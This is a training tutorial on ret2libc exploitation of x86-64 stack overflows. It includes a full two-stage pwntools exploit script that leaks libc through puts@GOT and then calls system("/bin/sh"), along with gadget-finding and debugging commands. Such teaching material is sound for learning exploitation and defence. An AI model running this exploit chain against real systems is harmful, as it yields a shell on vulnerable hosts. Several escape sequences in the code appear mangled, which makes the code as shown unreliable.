ret2libc on x86-64: GOT-Based libc Leak, ROP Gadget Setup and system("/bin/sh") Invocation

Why This Matters

ret2libc is the foundational technique for exploiting stack overflows in binaries compiled with NX (no executable stack). Rather than injecting shellcode, the attacker redirects execution into existing library code — specifically system("/bin/sh") in libc. On 64-bit x86, the System V AMD64 ABI passes function arguments in registers (RDI, RSI, RDX, ...) rather than on the stack, which requires additional pop gadgets before calling system. NICE K0168 and S0131 require implementing the full 64-bit ret2libc chain including the libc leak phase, GOT pointer dereference, base computation, and final shell call with correct stack alignment.

Core Concept

The System V AMD64 calling convention (used on Linux x86_64) passes the first six integer/pointer arguments in registers: - arg1: RDI - arg2: RSI - arg3: RDX - arg4: RCX - arg5: R8 - arg6: R9

system(cmd) takes one argument. To call system("/bin/sh"): 1. Load the address of the string "/bin/sh" into RDI. 2. Jump to system in libc.

This requires a pop rdi; ret gadget to set RDI from the stack.

Stack alignment: the x86_64 ABI requires RSP to be 16-byte aligned before a call instruction. After a function returns (via ret), RSP is misaligned by 8 bytes (since ret pops 8 bytes). Many libc functions (especially those using SSE instructions) call movaps which requires 16-byte alignment and will SIGSEGV if RSP is not aligned. The standard fix: insert a bare ret gadget before the system call to re-align RSP.

Full chain structure:

[padding to saved RIP]
[pop rdi; ret]          <- set RDI = puts@GOT (for leak)
[puts@GOT address]
[puts@PLT]              <- call puts(GOT[puts]) to leak libc
[main or vuln]          <- return to restart for the second stage
--- second connection ---
[padding to saved RIP]
[ret]                   <- alignment gadget
[pop rdi; ret]
[/bin/sh address]       <- in libc
[system address]        <- in libc (computed from leak)

Technical Deep-Dive

from pwn import *

elf  = ELF('./ret2libc64')
libc = ELF('./libc.so.6')
p    = process('./ret2libc64')

# ── ROP gadgets (find with: ROPgadget --binary ./ret2libc64) ─────────────
pop_rdi    = 0x401263   # pop rdi; ret
ret_gadget = 0x40101a   # ret  (for alignment)

# ── Stage 1: leak libc via puts(GOT[puts]) ───────────────────────────────
offset = 72   # bytes from buffer start to saved RIP (find with cyclic)

payload1  = b'A' * offset
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])    # RDI = address of GOT entry for puts
payload1 += p64(elf.plt['puts'])    # call puts@PLT -> prints libc address of puts
payload1 += p64(elf.sym['main'])    # return to main for stage 2

p.sendlineafter(b'Enter: ', payload1)

# puts() outputs the 8-byte libc address followed by a newline
# The address may contain null bytes; recv until newline
leak = u64(p.recvuntil(b'
').strip().ljust(8, b'x00'))
libc.address = leak - libc.sym['puts']
log.info(f'libc base : {libc.address:#x}')
log.info(f'system    : {libc.sym["system"]:#x}')

binsh = next(libc.search(b'/bin/sh'))
log.info(f'/bin/sh   : {binsh:#x}')

# ── Stage 2: system("/bin/sh") ───────────────────────────────────────────
payload2  = b'A' * offset
payload2 += p64(ret_gadget)          # alignment: rsp will be 16-byte aligned after this ret
payload2 += p64(pop_rdi)
payload2 += p64(binsh)               # RDI = ptr to "/bin/sh" in libc
payload2 += p64(libc.sym['system'])  # call system("/bin/sh")

p.sendlineafter(b'Enter: ', payload2)
p.interactive()

Finding gadgets with ROPgadget:

# Find pop rdi; ret
ROPgadget --binary ./ret2libc64 --rop | grep "pop rdi"
# Output: 0x0000000000401263 : pop rdi ; ret

# Find bare ret (for alignment)
ROPgadget --binary ./ret2libc64 --rop | grep ": ret$"
# Output: 0x000000000040101a : ret

# Find pop rsi; pop r15; ret (for setting RSI if needed)
ROPgadget --binary ./ret2libc64 --rop | grep "pop rsi"

Verifying alignment requirement: if system crashes with SIGSEGV at a movaps instruction, the alignment is wrong. Add or remove one ret gadget before system:

# In GDB: observe crash
(gdb) run
(gdb) bt
# If crash is in system() at movaps instruction -> alignment issue
# Add p64(ret_gadget) before p64(libc.sym['system']) in payload2

Reverse Engineering Methodology

1. Find the RIP offset: python3 -c "from pwn import *; print(cyclic(200))" | run binary | check crash with dmesg or GDB. Use cyclic_find(0x<crashed_value>) to get the exact offset.
2. Find pop rdi; ret in the binary: ROPgadget --binary ./binary --rop | grep "pop rdi". This gadget is almost always present in binaries that use libc (it appears in the __libc_csu_init function on older binaries, or in compiler-generated code on newer ones).
3. Identify a good GOT entry to leak: prefer puts or printf (always resolved by the time they are called). Use objdump -R ./binary to list all relocations.
4. Confirm the libc version: strings libc.so.6 | grep "GNU C Library". Compute the offset from the leaked symbol to libc base using the correct libc's symbol table.

Common Reversing Errors

• Forgetting the alignment gadget: the most common failure mode for 64-bit ret2libc is a crash inside system() at a movaps instruction. The fix is always a single bare ret gadget inserted before system. When in doubt, insert it.
• Using the PLT address instead of the libc address for system: system@PLT is only valid before libc resolves it, and calling system@PLT in stage 2 will call through the PLT which works — but requires the PLT to be functional (no Full RELRO breaking it). Use the absolute libc address (libc.sym['system']) for reliability.
• puts output truncated by null bytes: puts(libc_address) prints bytes until a null byte. A libc address like 0x00007f1234567890 has a null at byte 7 (index 6), so puts prints only 6 bytes then stops. Use p.recvuntil(b' ').strip().ljust(8, b'x00') to pad the 6 bytes back to 8.
• Returning to wrong address for stage 2: after stage 1 leaks the address, the exploit must return to a function that allows another overflow. Returning to main is reliable. Returning to _start may reinitialise too much state. Avoid returning to the middle of main (the overflow site directly) if there is setup code that main runs first.